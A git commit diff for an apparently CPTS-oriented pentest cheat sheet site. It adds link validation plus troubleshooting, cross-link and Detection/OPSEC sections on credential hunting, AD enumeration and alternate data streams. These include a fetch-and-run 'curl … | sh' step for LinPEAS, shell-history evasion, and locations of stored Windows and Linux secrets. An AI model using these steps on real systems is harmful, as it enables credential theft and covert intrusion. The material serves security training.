daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

commit fc223614460bd4cd348bf2127d98763c809c28be
parent 2fda6dfd17532075bd35bbc430c862979f76931f
Author: $: DAΞMON <zer0sec.xp@icloud.com>
Date:   Sat, 26 Sep 2026 06:50:23 +0100

Add link validation, mobile TOC + back-to-top, and expand nine sheets

Content integrity:
- validate-content.py now resolves every internal /sheets/ link against
  the sheets on disk and flags self-referential links; add a matching
  node --test suite (test/internal-links.test.mjs) so renames stop
  rotting cross-links silently.
- Fix the 17 broken links the check surfaced across 8 files, and remove
  12 self-links a prior blanket rename introduced (dead "condensed
  cheat sheet" rails and privesc sibling links now point at the real
  windows-privesc / linux-privesc sheets, or drop to plain text where
  no target exists).

UI:
- Sheet TOC becomes a collapsible disclosure below 1040px (it was
  display:none), so multi-thousand-line sheets are navigable on a phone;
  one node keeps the existing scroll-spy working.
- Add a square, hairline back-to-top control site-wide, gated on scroll
  height and prefers-reduced-motion, honouring the zero-radius contract.

Cheat sheets (to the redis-cli template):
- Add Troubleshooting / See Also / Detection+OPSEC sections to
  ad-enumeration-native, ad-recycle-bin-enumeration,
  run-as-another-user-from-evil-winrm, amass, smtp-user-enum, both
  credential-flag-hunting sheets, and the ADS guide; wire their
  Related lists to sheets that exist on-site.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

Diffstat:
Mscripts/validate-content.py | 16++++++++++++++++
Msrc/content/sheets/active-directory/ad-enumeration-native.md | 21+++++++++++++++++++++
Msrc/content/sheets/active-directory/ad-recycle-bin-enumeration.md | 19++++++++++++++++++-
Msrc/content/sheets/active-directory/run-as-another-user-from-evil-winrm.md | 17+++++++++++++++++
Msrc/content/sheets/enumeration/amass.md | 7+++++++
Msrc/content/sheets/enumeration/smtp-user-enum.md | 18++++++++++++++++++
Msrc/content/sheets/password-attacks/linux-credential-flag-hunting.md | 32+++++++++++++++++++++++++++++---
Msrc/content/sheets/password-attacks/windows-credential-flag-hunting.md | 25+++++++++++++++++++++++--
Msrc/content/sheets/pentest-workflow/active-directory-enumeration.md | 2+-
Msrc/content/sheets/pentest-workflow/alternate-data-streams-guide.md | 12++++++++++++
Msrc/content/sheets/pentest-workflow/attacking-common-applications-guide.md | 10+++++-----
Msrc/content/sheets/pentest-workflow/attacking-common-services-guide.md | 6+++---
Msrc/content/sheets/pentest-workflow/foothold-shells-payloads-metasploit.md | 4++--
Msrc/content/sheets/pentest-workflow/htb-attack-flow-playbook.md | 2+-
Msrc/content/sheets/pentest-workflow/potato-attacks-guide.md | 2+-
Msrc/content/sheets/pentest-workflow/privilege-escalation.md | 14+++++++-------
Msrc/content/sheets/pentest-workflow/web-enumeration-and-exploitation.md | 2+-
Msrc/content/sheets/pentest-workflow/worked-chains.md | 2+-
Msrc/layouts/Base.astro | 9++++++++-
Msrc/pages/sheets/[...slug].astro | 13+++++++++----
Msrc/scripts/app.ts | 34++++++++++++++++++++++++++++++++++
Msrc/styles/global.css | 72+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------
Atest/internal-links.test.mjs | 57+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
23 files changed, 356 insertions(+), 40 deletions(-)

diff --git a/scripts/validate-content.py b/scripts/validate-content.py @@ -15,6 +15,7 @@ files = glob.glob(os.path.join(SHEETS, "**", "*.md"), recursive=True) found = set() issues = [] warns = [] +links = [] for f in files: rel = os.path.relpath(f, SHEETS) @@ -38,6 +39,12 @@ for f in files: # linking the live upstream site walks the reader off the deployment. for m in re.finditer(r"https?://swisskyrepo\.github\.io/InternalAllTheThings/(\S*?)[)\s]", body): issues.append(f"{rel}: links live IATT site, use /internal/{m.group(1).strip('/')}") + # Internal /sheets/ cross-links are resolved against the files actually on + # disk. Slug renames and category moves silently rot these, so they are + # collected here and checked once the full slug set is known. + for m in re.finditer(r"\]\(/sheets/([a-z0-9][a-z0-9\-]*)/([a-z0-9][a-z0-9\-]*)/?(?:#[^)]*)?\)", body): + links.append((rel, m.group(1), m.group(2))) + # leftover Obsidian syntax if re.search(r"\[\[[^\]]+\]\]", body): warns.append(f"{rel}: leftover [[wikilink]]") if re.search(r"!\[\[", body): warns.append(f"{rel}: leftover ![[embed]]") @@ -47,12 +54,21 @@ for f in files: unl = sum(1 for i,x in enumerate(fences) if i % 2 == 0 and not x.strip()) if unl: warns.append(f"{rel}: {unl} code fence(s) without a language") +for rel, lcat, lslug in links: + if (lcat, lslug) not in found: + issues.append(f"{rel}: broken internal link /sheets/{lcat}/{lslug}") + elif f"{lcat}/{lslug}" == os.path.splitext(rel)[0].replace(os.sep, "/"): + # A retarget that lands on the page doing the linking reads as a dead + # end. Past slug renames produced these, so they are called out too. + issues.append(f"{rel}: self-referential link /sheets/{lcat}/{lslug}") + missing = expected - found extra = found - expected print(f"files on disk : {len(files)}") print(f"manifest wants: {len(expected)}") print(f"matched : {len(expected & found)}") +print(f"sheet links : {len(links)}") if missing: print(f"\nMISSING ({len(missing)}):") for c, s in sorted(missing): print(f" {c}/{s}") diff --git a/src/content/sheets/active-directory/ad-enumeration-native.md b/src/content/sheets/active-directory/ad-enumeration-native.md @@ -397,3 +397,24 @@ Get-ADUser -LDAPFilter "(servicePrincipalName=*)" -ResultPageSize 200 -ResultSet > [!tip] The habit to build > Ask "what object and which attribute do I actually want?", write the `-LDAPFilter` for it, add `-Properties` for the attributes, and `-SearchBase` to scope it. That single targeted query — native, signed, already present — is almost always the answer, **deleted objects included**. + + +## Troubleshooting + +| Problem | Cause & fix | +|---------|-------------| +| `Get-ADUser : term not recognized` | The ActiveDirectory module is not loaded / RSAT absent. Import it, or drop to the ADSI / `System.DirectoryServices` path below — no install needed | +| Cmdlets work but return nothing | You are likely bound to a read-only GC or the wrong `-SearchBase`. Confirm the domain DN with `Get-ADDomain` and widen the base | +| `-LDAPFilter` returns fewer objects than expected | The default page size caps results. The AD cmdlets page automatically; raw ADSI/`DirectorySearcher` does not — set `.PageSize = 1000` | +| `A referral was returned from the server` | The query crossed a domain/OU boundary the current server cannot answer. Target a DC for that domain with `-Server`, or query the GC (`:3268`) for a forest-wide read | +| Attribute you asked for is blank | It is not in the default property set. Add it explicitly: `-Properties memberof,servicePrincipalName,lastLogonTimestamp` | +| `lastLogonTimestamp` looks wrong | It is replicated only every ~14 days by design. For precise timing you need per-DC `lastLogon`, which does not replicate | +| ADSI works locally but fails from a foothold shell | No Kerberos/NTLM context. Pass explicit creds to the `DirectoryEntry`, or run under `runas /netonly` | + +## See Also + +- **[PowerView & PowerUp](/sheets/active-directory/powerview-powerup)** — the offensive toolkit whose queries this sheet maps to native equivalents of. +- **[BloodHound](/sheets/active-directory/bloodhound)** — graph the relationships once you have collected the objects. +- **[AD Recycle Bin Enumeration](/sheets/active-directory/ad-recycle-bin-enumeration)** — the deleted-object corner of the same directory. +- **[Kerberoasting](/sheets/active-directory/kerberoasting-local-on-host)** — act on the SPN-bearing accounts these filters surface. + diff --git a/src/content/sheets/active-directory/ad-recycle-bin-enumeration.md b/src/content/sheets/active-directory/ad-recycle-bin-enumeration.md @@ -270,4 +270,21 @@ Enumeration and restore look completely different to a defender: one is a read, > - `GenericAll` over an OU covers **restored** objects too — restore, own, then use the rights the object brings back (group membership, ADCS enrolment → ESC, SPN → kerberoast). > - **Enumeration is a quiet read; restore is a logged write** — reanimation fires Event **5138** (undelete) + 5139/5136 and resurrects a visible account, so restore only the one SID you need. -Related: [Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native). +## Troubleshooting + +| Problem | Cause & fix | +|---------|-------------| +| `Get-ADObject -IncludeDeletedObjects` returns nothing | The Recycle Bin (or the tombstone window) may be empty, or you lack read on the Deleted Objects container. Confirm the feature state first (section 1) | +| Deleted object is missing attributes you need | Tombstoning strips most attributes; the Recycle Bin preserves them. If an attribute is gone, the object tombstoned *before* the bin was enabled — it cannot be recovered | +| `Restore-ADObject : access denied` | You have read but not the `Reanimate-Tombstones` extended right / write on the object. Enumeration is a read; restore is a privileged write | +| Two deleted objects share a name | Expected — each deletion appends `\0ADEL:<GUID>`. Disambiguate on `objectSid`, not on `name` (section 3) | +| PowerView `Get-DomainObject` shows no deleted objects | By design. Use `Get-DomainSearcher` with `.Tombstone = $true`, or the native cmdlet / LDAP control instead | +| `ldapsearch` returns live objects only | The Show-Deleted control is not set. Pass `-E '!1.2.840.113556.1.4.417'` (or bloodyAD's `--include-deleted`) to see tombstoned entries | +| Restored account cannot log on | Reanimated accounts come back **disabled** with no password. Enable it and reset the password (with the rights the restore gave you) before use | + +## See Also + +- **[Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native)** — the live-object counterpart to this deleted-object workflow. +- **[ADCS & Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse)** — a restored object with enrolment rights feeds straight into ESC chains. +- **[ACL & Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse)** — how `GenericAll` over an OU converts a restore into takeover. + diff --git a/src/content/sheets/active-directory/run-as-another-user-from-evil-winrm.md b/src/content/sheets/active-directory/run-as-another-user-from-evil-winrm.md @@ -199,6 +199,23 @@ Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { | **4697 / 7045** | Security / System Log | Service installed with a per-account `binPath` (Method 6 `sc.exe create … obj=`) | | **4672** | Security Log | Special privileges assigned — fires when the run-as token is a local admin | +## 🧰 Troubleshooting + +| Problem | Cause & fix | +|---------|-------------| +| `Enter-PSSession` with new creds fails: "Access is denied" | Non-admin users need explicit PSRemoting rights. The target account must be in **Remote Management Users** or have a matching `Set-PSSessionConfiguration` ACE | +| `The user name or password is incorrect` on a valid password | Wrong logon format. Use `DOMAIN\user` or `user@domain.fqdn`; a bare username resolves against the local SAM, not the domain | +| `runas` prompts interactively — no good over WinRM | WinRM has no interactive desktop. Use `Start-Process -Credential`, a new `PSSession`, or `Invoke-Command -Credential` instead of `runas` | +| `Invoke-Command -Credential` gives a double-hop / access-denied to a *third* box | Classic Kerberos double-hop — your delegated creds do not forward. Use CredSSP, a fresh session from the target, or `-Authentication Negotiate` with explicit creds | +| Second-hop network resource (share/SQL) denies the run-as token | The token is network-logon only. Establish a full logon (`Start-Process`/scheduled task) so the secondary logon carries usable network credentials | +| Password has shell-breaking characters | Build the credential object in code — `ConvertTo-SecureString`/`PSCredential` — rather than pasting the password on the command line | + +## 🔗 See Also + +- **[Windows Credential & Flag Hunting](/sheets/password-attacks/windows-credential-flag-hunting)** — where the password you are re-using usually comes from. +- **[NetExec](/sheets/active-directory/netexec)** — run the same authenticated actions remotely without an interactive session. +- **[Impacket](/sheets/active-directory/impacket)** — `psexec.py` / `wmiexec.py` / `smbexec.py` as the cross-platform equivalents of a run-as session. + *** > ✅ **Run-as-another-user complete.** diff --git a/src/content/sheets/enumeration/amass.md b/src/content/sheets/enumeration/amass.md @@ -341,6 +341,13 @@ amass subs -d "$DOMAIN" -names > amass_round2.txt > [!warning] The graph DB is a real on-disk SQLite file — `asset.db` plus `asset.db-wal`/`asset.db-shm` — in the state dir, alongside per-run `session-<uuid>/` dirs and `amass_engine_<timestamp>.log`. When results look wrong, read the newest engine log and confirm which `-dir` you're actually hitting before blaming the sources. +## See Also + +- **[Passive External Recon](/sheets/pentest-workflow/passive-external-recon)** — where subdomain enumeration sits in the wider OSINT / attack-surface stage. +- **[Recon & Host Discovery](/sheets/pentest-workflow/recon-and-host-discovery)** — turning resolved names into a live-host list to scan. +- **[Nmap](/sheets/enumeration/nmap)** — port-scan the hosts `amass` resolves; feed its output with `-iL`. +- **[Web Enumeration & Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation)** — vhost and content discovery once you have the resolved web surface. + ## Sources - https://github.com/owasp-amass/amass diff --git a/src/content/sheets/enumeration/smtp-user-enum.md b/src/content/sheets/enumeration/smtp-user-enum.md @@ -244,6 +244,24 @@ swaks --to victim@$DOMAIN --server $IP:25 --quit-after RCPT --hide-all; echo "ex > [!warning] Microsoft 365 & Google Workspace are out of scope here > Their public MX (`*.mail.protection.outlook.com`, `aspmx.l.google.com`) accepts or generically rejects every `RCPT`, so SMTP VRFY/EXPN/RCPT enumeration does **not** work against them. User enumeration on those platforms is a *web/auth* technique — Autodiscover / GetCredentialType / OWA-timing for M365, login-flow responses for Workspace — handled by tools like `o365spray` and MailSniper, not this sheet. See [Attacking Common Services → Email](/sheets/pentest-workflow/attacking-common-services-guide) for the M365 workflow. +## Troubleshooting + +| Problem | Cause & fix | +|---------|-------------| +| `VRFY`/`EXPN` always return `252` | The server accepts the verb but refuses to confirm — `252` means "cannot verify, will try to deliver". Switch to `RCPT TO` enumeration, which most MTAs still answer distinctly | +| Every user returns the same code | User enumeration is disabled or the MTA replies identically for valid and invalid names. Fall back to timing analysis, or accept the vector is closed | +| `smtp-user-enum` reports all users valid | You are hitting a catch-all / accept-all domain. Confirm with an obviously bogus name; if that "exists" too, the signal is worthless | +| Connection resets after a few probes | Rate limiting or greylisting kicked in. Slow down (`-w` delay), reconnect per batch, and expect the first attempt after a pause to be deferred | +| `RCPT TO` needs `MAIL FROM` first | The SMTP state machine requires an envelope sender before a recipient. Send `MAIL FROM:<test@test.com>` once, then iterate `RCPT TO` on the same connection | +| STARTTLS required before any command | The MTA rejects cleartext auth/enum on 25/587. Use `swaks --tls` (587) or connect to 465 implicit TLS; `openssl s_client -starttls smtp` gives you a raw TLS session to type into | +| Works on port 25 but not 587 | 587 (submission) usually mandates AUTH and rejects anonymous `VRFY`/`RCPT`. Enumeration lives on 25; 587 is for authenticated relay testing | + +## See Also + +- **[Nmap](/sheets/enumeration/nmap)** — `-p25,465,587 --script smtp-* ` to fingerprint the MTA before hand-enumerating. +- **[Passive External Recon](/sheets/pentest-workflow/passive-external-recon)** — harvest the name/email format that valid usernames follow. +- **[Attacking Common Services (guide)](/sheets/pentest-workflow/attacking-common-services-guide)** — SMTP inside the full service-attack workflow, including relay and phishing use. + ## Sources - https://github.com/pentestmonkey/smtp-user-enum diff --git a/src/content/sheets/password-attacks/linux-credential-flag-hunting.md b/src/content/sheets/password-attacks/linux-credential-flag-hunting.md @@ -310,11 +310,37 @@ curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.s --- +## Troubleshooting + +| Problem | Cause & fix | +|---------|-------------| +| `find /` floods the terminal with `Permission denied` | An unprivileged walk hits `/proc`, `/sys` and `/run`. Append `2>/dev/null`, and add `-xdev` to stay on one filesystem | +| `find /` hangs for minutes | It is walking NFS/CIFS mounts. `-xdev` stops it at the mount boundary, or prune explicitly: `find / -path /mnt -prune -o -name '*.kdbx' -print` | +| `grep -r` prints `Binary file ... matches` and nothing useful | `-a` treats binaries as text (good for core dumps and memory images); `-I` skips them entirely when you only want config files | +| `grep -r password /` returns thousands of lines | Anchor on assignment syntax instead of the bare word: `grep -rEn "(password\|passwd\|secret\|api_key)\s*[=:]\s*\S" --include=*.{conf,cfg,ini,env,yml,yaml,php,json} / 2>/dev/null` | +| `locate` finds nothing that clearly exists | `mlocate.db` is stale and `updatedb` needs root. Fall back to `find` | +| `/proc/<pid>/environ` is unreadable for other users | Either `hidepid=2` is set on `/proc`, or the process is not yours. Both resolve after privesc — re-run the sweep as root | +| `/etc/shadow` is unreadable | Expected as a normal user. Go for copies instead: `/var/backups/shadow.bak`, `/etc/shadow-`, container images, and old tarballs under `/opt` | +| Shell history files are empty | `HISTFILE` is unset, or the session that would flush it is still open. Check every user's `~/.bash_history`, `~/.zsh_history`, `~/.python_history` and `~/.mysql_history` | +| A recovered SSH key is rejected | `chmod 600` the copy — OpenSSH refuses world-readable keys. If it prompts for a passphrase, run `ssh2john id_rsa > hash` and crack it | +| `sudo -l` asks for a password you do not have | Not a dead end: `sudo -l` output is only one source. Check `/etc/sudoers.d/`, group membership (`id`), and SUID binaries directly | + +## Detection & OPSEC + +Credential hunting is loud in ways that are easy to avoid. + +- **A full `find /` walk touches every inode** and lights up auditd `path` rules plus any EDR with filesystem telemetry. Scope to the directories that actually pay: `/home`, `/var/www`, `/opt`, `/etc`, `/srv`. +- **`atime` updates are a forensic trail.** Most modern mounts use `relatime`, so reads still move `atime` once a day. `find` with `-noleaf` does not help; if timestamps matter, prefer targeted reads over recursive greps. +- **Downloading LinPEAS to disk writes an artifact** and is signatured by most AV on Linux endpoints. Pipe it into memory instead: `curl -s <url> | sh`, and accept that you lose the ability to re-run it offline. +- **Reading `/proc/*/environ` and `/proc/*/cmdline` at scale** is a recognised credential-access pattern (MITRE **T1552.001**, *Credentials In Files*). Sysdig and Falco ship rules for it out of the box. +- **Your own commands land in history.** `unset HISTFILE` or `export HISTFILE=/dev/null` before the sweep, and remember the shell writes on exit — `kill -9 $$` skips the flush. +- **Leave found credentials where they are.** Copying a keystore to `/tmp` is a far stronger signal than reading it in place, and `/tmp` is where defenders look first. + ## Related -* **Windows Credential & Flag Hunting** — same job on Windows / Evil-WinRM -* **Hashcat** — crack the hashes you recover (`-m 1800` sha512crypt, `-m 500` md5crypt) -* **John the Ripper** — `unshadow` + crack `/etc/shadow` +* **[Windows Credential & Flag Hunting](/sheets/password-attacks/windows-credential-flag-hunting)** — same job on Windows / Evil-WinRM +* **[Hashcat](/sheets/password-attacks/hashcat)** — crack the hashes you recover (`-m 1800` sha512crypt, `-m 500` md5crypt) +* **[John the Ripper](/sheets/password-attacks/john-the-ripper)** — `unshadow` + crack `/etc/shadow` * [Linux Privilege Escalation](/sheets/privilege-escalation/linux-privesc) — SUID, cron, capabilities and GTFOBins follow-ups on what you find here * [Lateral Movement, Pivoting & Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) — pivot outward with recovered keys/creds * [Credential Hunting](/sheets/enumeration/credential-hunting) — pre-auth / external credential discovery diff --git a/src/content/sheets/password-attacks/windows-credential-flag-hunting.md b/src/content/sheets/password-attacks/windows-credential-flag-hunting.md @@ -467,11 +467,32 @@ Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami /all --- +## Troubleshooting + +| Problem | Cause & fix | +|---------|-------------| +| `Get-ChildItem -Recurse C:\` throws access-denied noise | Add `-ErrorAction SilentlyContinue`; the walk still returns everything you can read | +| `Select-String` is painfully slow across `C:\` | Constrain it: `-Include *.config,*.xml,*.ps1,*.txt,*.ini` and start from `C:\Users`, `C:\inetpub`, `C:\ProgramData` rather than the drive root | +| `reg query` returns "access denied" on a hive | You need higher rights, or the key is redirected under WOW6432Node — check both `HKLM\SOFTWARE\...` and `HKLM\SOFTWARE\WOW6432Node\...` | +| `findstr /s /i password *` finds nothing on a box you know has creds | `findstr` skips files it cannot open silently; re-run the same sweep from PowerShell `Select-String`, which reports the errors | +| Reading SAM/SECURITY/SYSTEM hives fails while running as admin | The live hives are locked. Copy them from a Volume Shadow Copy, or read them remotely rather than from the live filesystem | +| A recovered hash will not crack | Confirm the format first — NTLM is `-m 1000`, NetNTLMv2 is `-m 5600`, DCC2/`mscash2` is `-m 2100`. A mislabelled mode looks like a wrong password | +| `cmdkey /list` shows entries but you cannot read the secret | `cmdkey` never reveals stored secrets. Use them in place with `runas /savecred`, or extract via DPAPI as the owning user | +| PowerShell history file is empty | `Get-Content (Get-PSReadlineOption).HistorySavePath` — PSReadline logs to `ConsoleHost_history.txt` under `AppData`, per user, and survives logoff | + +## Detection & OPSEC + +- **Recursive `Get-ChildItem` / `Select-String` over `C:\`** is high-volume file access and is exactly what EDR file-telemetry rules watch for. Scope to the paths that pay off (`C:\Users\*`, `C:\inetpub`, `C:\ProgramData`, `C:\Windows\Panther`). +- **Touching `\Panther\Unattend.xml`, GPP `Groups.xml` on SYSVOL, and the credential vault** maps to MITRE **T1552** (*Unsecured Credentials*). Defenders with SACLs on those paths get an event per read. +- **PowerShell is logged.** Script Block Logging (Event ID **4104**) and transcription capture your one-liners verbatim. `cmd.exe` `findstr` is quieter but still lands in process-creation logs (**4688**) with the full command line if command-line auditing is on. +- **Copying a hive or keystore off-box is louder than reading it in place** — file-write plus network egress. Extract what you need and pull the smallest artifact. +- **`runas /savecred` reuses stored credentials** and generates a logon event (**4624**, logon type 2/9) under the target account; expect it to correlate against your source host. + ## Related -* **Linux Credential & Flag Hunting** — same job on Linux +* **[Linux Credential & Flag Hunting](/sheets/password-attacks/linux-credential-flag-hunting)** — same job on Linux * **Kerberoasting** / **AS-REP Roasting** — turn a domain foothold into crackable hashes -* **Hashcat** — crack recovered hashes (`-m 1000` NTLM, `-m 5600` NetNTLMv2) +* **[Hashcat](/sheets/password-attacks/hashcat)** — crack recovered hashes (`-m 1000` NTLM, `-m 5600` NetNTLMv2) * **Windows Privilege Escalation** — /sheets/privilege-escalation/windows-privesc * **Mimikatz** — /sheets/active-directory/mimikatz — DPAPI, LSASS and vault extraction * **LAPS password extraction** — /sheets/active-directory/attack-72-laps-password-extraction diff --git a/src/content/sheets/pentest-workflow/active-directory-enumeration.md b/src/content/sheets/pentest-workflow/active-directory-enumeration.md @@ -609,7 +609,7 @@ Four states. Each one has a different toolset and a different way to climb. I al | 3 · **SYSTEM on a domain-joined host** | a shell as `NT AUTHORITY\SYSTEM` | **host-based / living-off-the-land recon** (below) | the machine account authenticates as a domain principal — dump secrets, run SharpHound with session data | > [!tip] SYSTEM on a member server ≈ a domain user -> Once I hit `NT AUTHORITY\SYSTEM` on any domain-joined box (Stage 9 privesc got me there), the host's **machine account** can query the directory exactly like a user cred — so I run every host-based query below *without* needing a user's password. Grab it: `nxc smb $IP -u "$U" -p "$P"` showing `Pwn3d!`, or a `SeImpersonate` → PrintSpoofer chain on a service account, is the fastest jump from rung 1 to rung 3. This is the exact pivot the capstone walks: DNN → `mssql$sqlexpress` → SYSTEM → local SAM/LSA → first domain cred `hporter` ([6 - Post-Exploitation Persistence & Internal Enumeration](/sheets/pentest-workflow/post-exploitation-persistence-internal-enumeration)). +> Once I hit `NT AUTHORITY\SYSTEM` on any domain-joined box (Stage 9 privesc got me there), the host's **machine account** can query the directory exactly like a user cred — so I run every host-based query below *without* needing a user's password. Grab it: `nxc smb $IP -u "$U" -p "$P"` showing `Pwn3d!`, or a `SeImpersonate` → PrintSpoofer chain on a service account, is the fastest jump from rung 1 to rung 3. This is the exact pivot the capstone walks: DNN → `mssql$sqlexpress` → SYSTEM → local SAM/LSA → first domain cred `hporter` ([6 - Post-Exploitation Persistence & Internal Enumeration](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)). #### Host-based recon — living off the land (from a Windows foothold) diff --git a/src/content/sheets/pentest-workflow/alternate-data-streams-guide.md b/src/content/sheets/pentest-workflow/alternate-data-streams-guide.md @@ -411,6 +411,18 @@ Remove-Item C:\Windows\Temp\notes.txt -Stream stash -ErrorAction SilentlyContinu --- +## Troubleshooting `fas:Wrench` + +| Problem | Cause & fix | +|---------|-------------| +| `dir /r` shows no streams on a file you wrote one to | `dir /r` only lists streams in the *current* directory view; confirm you are in the right path, and note Explorer never shows them at all | +| `Get-Item -Stream *` errors on a path with brackets | PowerShell treats `[ ]` as wildcards. Use `-LiteralPath` instead of `-Path` | +| Cannot read a stream you know exists | The stream name is case-sensitive-ish and must be exact, including `:$DATA`. Enumerate first with `Get-Item -Stream *`, then copy the name verbatim | +| Data written to a stream vanishes on copy | ADS only survive on **NTFS**. Copying to FAT/exFAT, most USB sticks, a ZIP, or across SMB to a non-NTFS share silently drops the stream | +| `type file.txt:hidden.exe` fails to run it | `type` cannot execute; you must extract or invoke it properly (`wmic process call create`, `Start-Process`, or `makecab`/`extrac32` round-trip on older hosts) | +| Downloaded file "blocked" and scripts refuse to run | That is the `Zone.Identifier` MotW stream. `Unblock-File`, or delete the stream: `Remove-Item file -Stream Zone.Identifier` | +| Defender flags the file the moment you stage into a stream | AMSI/Defender inspects stream writes too (Sysmon Event 15 logs them). ADS is not an evasion primitive on a monitored host — treat it as storage, not stealth | + ## References `fas:BookOpen` | Topic | Source | diff --git a/src/content/sheets/pentest-workflow/attacking-common-applications-guide.md b/src/content/sheets/pentest-workflow/attacking-common-applications-guide.md @@ -11,12 +11,12 @@ updated: "2026-09-15" source: "vault:HackTheBox/Academy/CPTS Path/24-Attacking-Common-Applications" --- -[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-applications) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive](/sheets/pentest-workflow/web-enumeration-and-exploitation) +[Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive](/sheets/pentest-workflow/web-enumeration-and-exploitation) # Attacking Common Applications — Full Guide `fas:ClipboardList` > [!dashboard] What this is -> The long-form companion to the [Attacking Common Applications cheat sheet](/sheets/pentest-workflow/attacking-common-applications). The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up. +> The long-form companion to the Attacking Common Applications cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up. Off-the-shelf applications are the softest part of most networks. A company patches its OS fleet and hardens AD, then leaves a Tomcat manager on `tomcat:tomcat`, a Splunk trial that quietly lost its login, or a WordPress plugin that hasn't shipped a fix since 2016. These apps sit on both the perimeter and the internal network, and one weak credential or forgotten install is often the whole foothold. @@ -58,8 +58,8 @@ Every target in this module answers to the same loop, so learn the loop rather t > - **JSP** (Tomcat, ColdFusion-on-Java): package [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) as a WAR. > - **ASP/ASPX** (IIS): VBScript → `.asp`, C# → `.aspx`. Cross the wires and IIS answers `Server Error in '/' Application`. > - **Windows app host** (IIS, PRTG, Jenkins-on-Windows, ColdFusion): [Windows PrivEsc](/sheets/pentest-workflow/privilege-escalation) — service accounts here almost always hold `SeImpersonatePrivilege`. -> - **Linux app host** (WordPress, Drupal, GitLab, Splunk, CGI): [Linux PrivEsc](/sheets/pentest-workflow/linux-privesc-cpts). -> Full shell catalogue and handler notes: [Web Shells](/sheets/pentest-workflow/web-shells). +> - **Linux app host** (WordPress, Drupal, GitLab, Splunk, CGI): [Linux PrivEsc](/sheets/privilege-escalation/linux-privesc). +> Full shell catalogue and handler notes: [Web Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). --- @@ -1217,4 +1217,4 @@ Logos are re-hosted from Wikimedia Commons for identification only and remain th --- -[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-applications) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive →](/sheets/pentest-workflow/web-enumeration-and-exploitation) +[Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive →](/sheets/pentest-workflow/web-enumeration-and-exploitation) diff --git a/src/content/sheets/pentest-workflow/attacking-common-services-guide.md b/src/content/sheets/pentest-workflow/attacking-common-services-guide.md @@ -11,12 +11,12 @@ updated: "2026-09-16" source: "vault:HackTheBox/Academy/CPTS Path/11-Attacking-Common-Services" --- -[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-services-guide) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Field manual](/sheets/pentest-workflow/network-service-attack-manual) · [Applications guide →](/sheets/pentest-workflow/attacking-common-applications-guide) +[Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Field manual](/sheets/pentest-workflow/network-service-attack-manual) · [Applications guide →](/sheets/pentest-workflow/attacking-common-applications-guide) # Attacking Common Services — Full Guide `fas:ClipboardList` > [!dashboard] What this is -> The long-form companion to the [Attacking Common Services cheat sheet](/sheets/pentest-workflow/attacking-common-services-guide). The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up. For the broader cross-module field reference (NFS, Kerberos, WinRM, SNMP, SSH, chaining, cleanup) see the [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual). +> The long-form companion to the Attacking Common Services cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up. For the broader cross-module field reference (NFS, Kerberos, WinRM, SNMP, SSH, chaining, cleanup) see the [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual). Common services are the plumbing every network runs on: a file share, a database, a mail server, a remote-desktop endpoint, a DNS resolver. They are rarely glamorous and almost never the thing a defender hardens first, which is exactly why they land footholds. A company patches its browsers and hardens its domain controllers, then leaves an FTP root that accepts `anonymous`, an MSSQL instance still running `xp_cmdshell` as a service account, or an SMB server that answers a null session and hands over its share list for free. @@ -676,4 +676,4 @@ Distilled from the HackTheBox Academy **Attacking Common Services** module (CPTS 10. [Impacket · Fortra/impacket](https://github.com/fortra/impacket) > [!navigation] Keep going -> **Condensed card:** [Attacking Common Services cheat sheet](/sheets/pentest-workflow/attacking-common-services-guide) · **Field manual:** [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual) · **Applications:** [Attacking Common Applications guide](/sheets/pentest-workflow/attacking-common-applications-guide) · **Credentials:** [Password Attacks & Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · **Dashboard:** [CPTS Workflow](/sheets/pentest-workflow/attack-flow-dashboard) +> **Condensed card:** Attacking Common Services cheat sheet · **Field manual:** [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual) · **Applications:** [Attacking Common Applications guide](/sheets/pentest-workflow/attacking-common-applications-guide) · **Credentials:** [Password Attacks & Credential 